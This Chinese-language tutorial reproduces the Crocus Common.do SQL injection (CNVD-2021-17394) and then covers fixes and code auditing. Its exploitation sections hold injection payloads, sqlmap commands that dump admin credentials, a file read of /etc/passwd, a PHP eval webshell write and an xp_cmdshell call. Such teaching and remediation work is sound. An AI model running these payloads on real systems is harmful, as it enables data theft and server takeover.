
1. 项目概述与背景最近在整理一些历史漏洞的复现笔记翻到了锐明技术Crocus系统的一个老漏洞。这个漏洞编号是CNVD-2021-17394核心问题出在一个名为Common.do的接口上存在SQL注入风险。虽然是个老洞但它的成因和利用方式非常典型对于理解Web应用安全、特别是Java Web框架下的SQL注入问题依然有很好的学习价值。很多初入安全领域的朋友一提到SQL注入可能就想到 or 11 --但实际在企业级应用里漏洞点往往藏在更深、更隐蔽的接口里这个Common.do就是一个很好的例子。简单来说锐明技术的Crocus系统是一个综合性的管理平台而Common.do这个接口从名字就能猜到很可能是一个处理通用请求的“万能”接口比如执行一些公共的查询、更新操作。问题就出在这个接口对用户传入的参数过滤不严直接将用户输入拼接到了SQL语句中导致了注入。复现这个漏洞不仅能让我们掌握一种特定漏洞的利用方法更能深入理解“参数化查询”为什么是铁律以及如何在代码审计中快速定位这类通用接口的风险点。2. 漏洞原理深度解析2.1 漏洞点定位Common.do接口在Java Web开发中以.do结尾的URL通常对应着Struts等MVC框架的Action。Common.do这个名字暗示它是一个“通用”的Action可能用于处理多种不同类型的请求其具体功能由传入的参数如method、type来决定。这种设计在快速开发中很常见但也带来了巨大的安全隐患开发者容易在这样一个“集大成”的接口中疏忽对每个分支、每个参数的严格校验。漏洞的核心在于攻击者可以通过HTTP请求向Common.do接口传递恶意参数。后端代码在处理时很可能采用了类似下面的危险模式String userInput request.getParameter(queryCondition); String sql SELECT * FROM some_table WHERE condition userInput ; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql);这里userInput直接来自用户请求未经任何有效过滤或转义就被拼接进了SQL字符串。如果攻击者输入 OR 11最终的SQL语句就会变成SELECT * FROM some_table WHERE condition OR 11从而绕过了条件限制泄露全部数据。2.2 SQL注入的危害层级理解这个漏洞的危害不能只停留在“可以拖库”的层面。结合Crocus系统作为管理平台的属性其危害可以分几个层级来看数据泄露这是最直接的危害。通过注入攻击者可以读取数据库中的敏感信息包括管理员账号密码可能是哈希值、用户个人信息、系统配置、日志等。权限提升在某些情况下通过联合查询UNION SELECT或堆叠查询Stacked Queries取决于数据库和驱动支持攻击者可能执行更新UPDATE或插入INSERT语句从而修改其他用户权限、创建新的管理员账户。文件系统读写如果数据库用户权限足够高例如MySQL中的FILE权限并且数据库配置允许攻击者可以利用SELECT ... INTO OUTFILE或LOAD_FILE()函数进行文件读写操作从而实现写入Webshell或读取服务器敏感文件如/etc/passwd。命令执行这是最高级别的危害。在某些极端配置下如SQL Server的xp_cmdshell被启用成功的SQL注入可能直接导致操作系统命令执行完全控制服务器。对于Crocus系统而言由于是内部管理系统一旦被渗透攻击者获取的往往是整个业务网络的后台权限危害性极大。注意在实际漏洞复现和测试中必须严格控制在授权范围内进行通常使用自己搭建的测试环境虚拟机或Docker容器。任何对未授权系统的测试都是非法行为。3. 复现环境搭建与准备3.1 环境选择与搭建为了安全、可重复地复现这个漏洞我们首选在隔离环境中进行。有两种主流方案方案一使用漏洞靶场或历史版本系统理想情况是能找到当时存在漏洞的Crocus系统安装包在虚拟机中安装。但由于商业软件的历史版本不易获取更实际的做法是利用公开的漏洞靶场环境或者寻找功能、代码结构相似的测试系统进行原理性复现。这要求我们对漏洞原理有足够深的理解能够举一反三。方案二自制模拟环境推荐对于学习目的我强烈建议自己搭建一个模拟环境。这样你能完全控制代码一步步跟踪漏洞触发流程。我们可以快速构建一个简单的Java Web项目技术栈使用Spring Boot简化配置 JdbcTemplate模拟旧式JDBC操作。创建漏洞接口创建一个CommonController里面有一个do方法故意使用字符串拼接的方式构造SQL。数据库使用内嵌的H2数据库或MySQL创建一张有测试数据的表。这样做的好处是你不仅能看到漏洞现象还能在IDE里设置断点一步步跟踪参数传递、SQL拼接和执行的全过程理解会深刻得多。3.2 工具准备清单工欲善其事必先利其器。复现SQL注入需要以下几类工具代理与抓包工具Burp Suite Community/Professional必备。用于拦截、查看、修改和重放HTTP/HTTPS请求。它的Repeater模块是手动测试注入点的神器。OWASP ZAP另一个强大的开源代理工具自动化程度较高适合初步扫描。漏洞探测与利用工具sqlmap自动化SQL注入检测和利用工具。在手动确认存在注入点后可以用它来快速获取数据库信息、数据甚至执行命令。但切记学习阶段一定要先手动尝试理解原理后再用工具。浏览器开发者工具F12用于快速查看页面元素、网络请求和修改前端参数。辅助工具Postman用于构造和发送复杂的HTTP请求。编码/解码工具Burp Suite的Decoder模块或在线工具用于对Payload进行URL编码、Base64编码等。文本对比工具如Beyond Compare用于对比正常响应和异常响应判断注入是否成功。3.3 目标信息搜集在复现前即使是在自己的测试环境也需要进行“侦察”确定入口点找到调用Common.do的前端页面或功能模块。可能是某个查询列表的下拉框、搜索框或者通过抓包分析Ajax请求发现。分析请求格式用Burp拦截一个正常的Common.do请求。重点关注请求方法是GET还是POST参数名除了method、type还有哪些参数被传递哪个参数的值被后端用于数据库查询参数格式参数值是普通文本还是JSON、XML等结构化数据Session/Cookie请求是否需要有效的会话标识4. 手动漏洞探测与利用流程自动化工具很快但手动探测能让你真正“感受”到漏洞的存在。下面我们模拟一次完整的手动探测过程。4.1 初步探测与注入点确认假设我们通过抓包发现了一个向/Crocus/Common.do发送的POST请求参数如下methodqueryDatatypeuserid123nametest我们的怀疑对象是id和name参数。首先进行最基本的真值/假值测试原始请求发送id123记录服务器返回的结果例如返回了ID为123的用户信息。真值测试修改id123 AND 11。这相当于在原有条件后附加一个永真条件。如果页面正常返回了ID为123的用户信息说明单引号被闭合且附加条件被执行。假值测试修改id123 AND 12。这是一个永假条件。如果页面返回空结果、错误信息或与原始请求明显不同进一步证实了注入点的存在。错误触发修改id123故意制造未闭合的单引号。如果后端直接拼接SQL这会导致语法错误页面可能返回数据库的详细报错信息如MySQL的“You have an error in your SQL syntax”这不仅能确认注入还可能泄露数据库类型。实操心得很多系统会对错误信息进行屏蔽返回统一的错误页。此时真值/假值测试导致的页面内容差异或响应时间差异就成为更可靠的判断依据。仔细对比两次返回的HTML长度、某个特定关键词的出现与否。4.2 判断数据库类型不同数据库的SQL语法和内置函数有差异。判断类型有助于构造精准的Payload。MySQL尝试id123 AND sleep(5)--。如果页面响应延迟了大约5秒很可能是MySQL。--是MySQL的单行注释。Microsoft SQL Server尝试id123 WAITFOR DELAY 0:0:5--。如果延迟可能是MSSQL。Oracle尝试id123 AND (SELECT COUNT(*) FROM all_users)1--。或者使用dbms_pipe.receive_message函数制造延迟。PostgreSQL尝试id123 AND pg_sleep(5)--。对于Crocus系统根据其技术栈是MySQL或Oracle的可能性较大。我们可以通过报错信息或函数试探来确认。4.3 利用Union查询获取数据在确认注入点且判断出数据库类型后我们可以尝试使用UNION SELECT来直接获取数据。这需要先确定原始查询语句返回的列数。确定列数使用ORDER BY子句。Payload:id123 ORDER BY 1--(正常)id123 ORDER BY 5--(正常)id123 ORDER BY 6--(报错或返回异常)这说明原始查询返回了5列。确定显示位找到在页面中可见的列。Payload:id-123 UNION SELECT 1,2,3,4,5--注意把id设为一个不存在的值如-123让前半部分查询无结果从而页面显示的是我们Union查询的结果。观察页面数字2、3、4可能被显示出来这些就是我们可以替换为查询语句的“显示位”。获取数据库信息Payload:id-123 UNION SELECT 1, database(), user(), version(), 5--这样我们就能在页面的显示位上看到当前数据库名、当前用户、数据库版本等信息。枚举表名和列名MySQL:查所有库UNION SELECT 1, schema_name, 3,4,5 FROM information_schema.schemata--查当前库所有表UNION SELECT 1, table_name, 3,4,5 FROM information_schema.tables WHERE table_schemadatabase()--查某表所有列UNION SELECT 1, column_name, 3,4,5 FROM information_schema.columns WHERE table_nameadmin_user--Oracle:查当前用户所有表UNION SELECT 1, table_name, 3,4,5 FROM user_tables--4.4 盲注技术应用如果页面没有显示位也不返回具体错误信息只有“真”和“假”两种状态或响应时间不同就需要用到盲注Blind SQL Injection。布尔盲注通过页面返回内容的差异如“存在”或“不存在”来逐位推断数据。例如猜测数据库名第一个字符id123 AND substring(database(),1,1)a--。如果页面返回正常内容说明第一个字符是‘a’否则不是。通过脚本遍历可以获取完整信息。时间盲注通过构造条件使SQL语句执行时间产生差异来判断。例如id123 AND IF(substring(database(),1,1)a, sleep(5), 0)--。如果响应延迟5秒说明第一个字符是‘a’。注意事项盲注是一个极其耗时的过程必须借助自动化脚本如Python的requests库来完成。手动进行盲注几乎是不可能的。这也是为什么在实战中一旦确认存在基于时间的盲注通常会直接使用sqlmap等工具。5. 自动化工具辅助利用与深度利用在手动验证了漏洞存在并理解了原理后我们可以使用sqlmap来提升效率并探索更深层次的利用。5.1 使用sqlmap进行自动化探测假设我们已经确认http://test-target/Crocus/Common.do的id参数存在注入且是Cookie鉴权。# 基础探测 sqlmap -u http://test-target/Crocus/Common.do?methodqueryDatatypeuserid123 --cookieJSESSIONIDxxx --batch # 指定参数和数据库类型如果已知 sqlmap -u http://test-target/Crocus/Common.do --datamethodqueryDatatypeuserid123 --cookieJSESSIONIDxxx --dbmsmysql --batch # 获取所有数据库名 sqlmap -u http://test-target/Crocus/Common.do --datamethodqueryDatatypeuserid123 --cookieJSESSIONIDxxx --dbs # 获取当前数据库的所有表 sqlmap -u http://test-target/Crocus/Common.do --datamethodqueryDatatypeuserid123 --cookieJSESSIONIDxxx -D current_db --tables # 获取指定表如admin的所有列 sqlmap -u http://test-target/Crocus/Common.do --datamethodqueryDatatypeuserid123 --cookieJSESSIONIDxxx -D current_db -T admin --columns # 导出指定表的数据 sqlmap -u http://test-target/Crocus/Common.do --datamethodqueryDatatypeuserid123 --cookieJSESSIONIDxxx -D current_db -T admin -C username,password --dumpsqlmap的强大之处在于它能自动识别注入类型、数据库并利用各种技术联合查询、报错注入、布尔盲注、时间盲注来获取数据。5.2 深度利用文件读写与命令执行在特定条件下SQL注入可以造成更严重的后果。文件读取MySQL 如果数据库用户有FILE权限并且secure_file_priv设置允许非NULL可以尝试读取服务器文件。 UNION SELECT 1, LOAD_FILE(/etc/passwd), 3,4,5--通过sqlmap可以更方便地操作sqlmap ... --file-read/etc/passwd文件写入Webshell上传 这是获取服务器控制权的关键一步。需要知道Web应用的绝对路径。 UNION SELECT 1, ?php eval($_POST[cmd]);?, 3,4,5 INTO OUTFILE /var/www/html/shell.php--通过sqlmapsqlmap ... --file-write/local/path/shell.php --file-dest/remote/path/shell.php命令执行 这通常需要非常特殊的条件。在MySQL中可以通过User Defined Function (UDF)提权到命令执行但过程复杂。在MSSQL中如果xp_cmdshell被启用则可以直接执行系统命令。; EXEC master..xp_cmdshell whoami--重要警告文件读写和命令执行是破坏性极强的操作绝对禁止在非授权的任何环境中尝试。即使在授权的渗透测试中也必须获得明确的书面许可并谨慎评估对业务系统的影响。6. 漏洞根因分析与修复方案6.1 代码层面根因漏洞的根本原因在于开发人员违反了“数据与代码分离”的原则。具体表现为字符串拼接直接使用或StringBuilder将用户输入拼接到SQL语句中。未使用参数化查询没有使用PreparedStatement或者错误地使用了参数化查询如将动态表名、列名作为参数这是不支持的。过滤不彻底或可被绕过可能使用了简单的字符串替换如删除select,union等关键词但存在大小写、双写、编码绕过等问题。错误信息泄露将数据库的详细错误信息直接返回给前端为攻击者提供了便利。6.2 修复方案修复必须从代码层面入手并辅以架构和运维措施。1. 强制使用参数化查询预编译语句这是最有效、最根本的解决方案。将SQL语句的骨架与数据分离。// 错误示例 String sql SELECT * FROM users WHERE id userId; Statement stmt conn.createStatement(); ResultSet rs stmt.executeQuery(sql); // 正确示例 String sql SELECT * FROM users WHERE id ?; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setInt(1, userId); // 或 setString, setObject 等 ResultSet rs pstmt.executeQuery();使用PreparedStatement数据库会先编译SQL骨架然后将参数作为纯数据处理从根本上杜绝了注入。2. 使用安全的ORM框架如MyBatis、Hibernate、Spring Data JPA等。但要注意错误使用ORM框架同样会导致注入。MyBatis务必使用#{}语法它会进行预编译。绝对禁止在动态SQL中if,choose使用${}进行字符串替换除非你能百分百保证其值安全。!-- 安全 -- select idqueryUser resultTypeUser SELECT * FROM users WHERE id #{id} /select !-- 危险 -- select idqueryUser resultTypeUser SELECT * FROM users ORDER BY ${orderBy} /selectHibernate/JPA使用createQuery或Query注解配合命名参数或位置参数。3. 严格的输入验证与过滤在参数进入业务逻辑前进行验证。白名单验证对于类型明确的参数如ID是数字进行强制类型转换或正则匹配。try { int id Integer.parseInt(request.getParameter(id)); } catch (NumberFormatException e) { // 记录日志并返回错误 throw new InvalidParameterException(ID must be a number.); }对于必须动态拼接的场景如动态排序字段采用白名单机制。private static final SetString ALLOWED_ORDER_FIELDS Set.of(id, name, createTime); String orderBy request.getParameter(orderBy); if (!ALLOWED_ORDER_FIELDS.contains(orderBy)) { orderBy id; // 默认值 } String sql SELECT * FROM table ORDER BY orderBy; // 此时orderBy是安全的4. 最小权限原则为数据库连接账户分配最小必要的权限。用于Web应用的数据库账号通常只应拥有SELECT、INSERT、UPDATE、DELETE等业务必需权限绝对不要授予DROP、FILE、GRANT OPTION等高危权限。5. 防御性编程与安全配置避免详细错误信息在生产环境中配置应用服务器和框架不要将数据库堆栈跟踪信息直接返回给用户。应返回统一的、友好的错误页面。使用Web应用防火墙WAF在应用前端部署WAF可以拦截常见的SQL注入攻击模式作为一道额外的防线。但不能依赖WAF来修复代码漏洞。定期安全审计与代码扫描将静态代码安全扫描SAST和动态应用安全测试DAST纳入开发流程定期对代码和线上应用进行安全检查。7. 从漏洞复现到代码审计的思维延伸复现一个已知漏洞是学习的开始真正的价值在于将这种经验转化为发现未知漏洞的能力即代码审计。7.1 如何定位类似“Common.do”的风险点搜索通用入口在代码中全局搜索*.do、/api/、/service/等通用接口路径以及Common、Base、Action、Dispatcher等通用类名或方法名。关注参数传递找到这些入口后重点跟踪用户可控参数来自HttpServletRequest、RequestParam、PathVariable的传递流程。看它们最终是否被传递到了执行SQL、OS命令、文件操作等危险函数的地方。危险函数/方法识别SQL相关Statement.execute*,JdbcTemplate.queryForObject(String sql, ...)使用字符串拼接的、String.format拼接SQL、MyBatis中的${}。命令执行Runtime.exec(),ProcessBuilder.start(),GroovyShell.evaluate()。文件操作new FileInputStream(userInputPath),FileOutputStream。数据流分析使用IDE的“查找用法”功能追踪敏感参数从入口到最终使用的完整路径检查中间是否有过滤、校验。7.2 审计MyBatis XML文件中的注入风险这是Java Web项目中SQL注入的重灾区。审计时重点关注${}的使用全局搜索${检查其使用的变量是否用户完全可控。动态表名、列名是常见的使用场景必须结合白名单校验来审查。模糊查询中的#{}在LIKE语句中正确的写法是LIKE CONCAT(%, #{keyword}, %)而不是LIKE %${keyword}%。if标签内的内容确保if标签的test条件中使用的${}参数也是安全的或者最好使用#{}。7.3 设计安全的通用接口如果业务上确实需要一个“通用”接口应该如何设计接口拆分尽量避免真正的“万能”接口。根据业务域拆分成多个职责明确的接口。严格的白名单控制如果必须有一个method参数来区分功能那么后端必须维护一个method值与具体处理类的映射白名单。任何不在白名单内的请求都被拒绝。参数Schema校验对于每个method定义其合法的参数列表和类型。在入口处进行统一校验。使用策略模式将每个method对应的处理逻辑封装成独立的策略类通过工厂模式根据白名单获取。这样逻辑清晰也便于安全控制。复现Crocus系统的这个漏洞就像解剖一个典型样本。它告诉我们一个看似不起眼的通用接口由于安全意识的缺失可能成为整个系统的“阿喀琉斯之踵”。修复它不仅仅是在那个Common.do的代码里加上参数化查询更需要建立起一套覆盖开发全流程的安全规范和代码审查机制让每个开发者都对“不可信的用户输入”保持敬畏。在平时写代码时每当你要拼接字符串去构造SQL、命令或文件路径时都应该下意识地停顿一下问问自己这个输入我真的能信任吗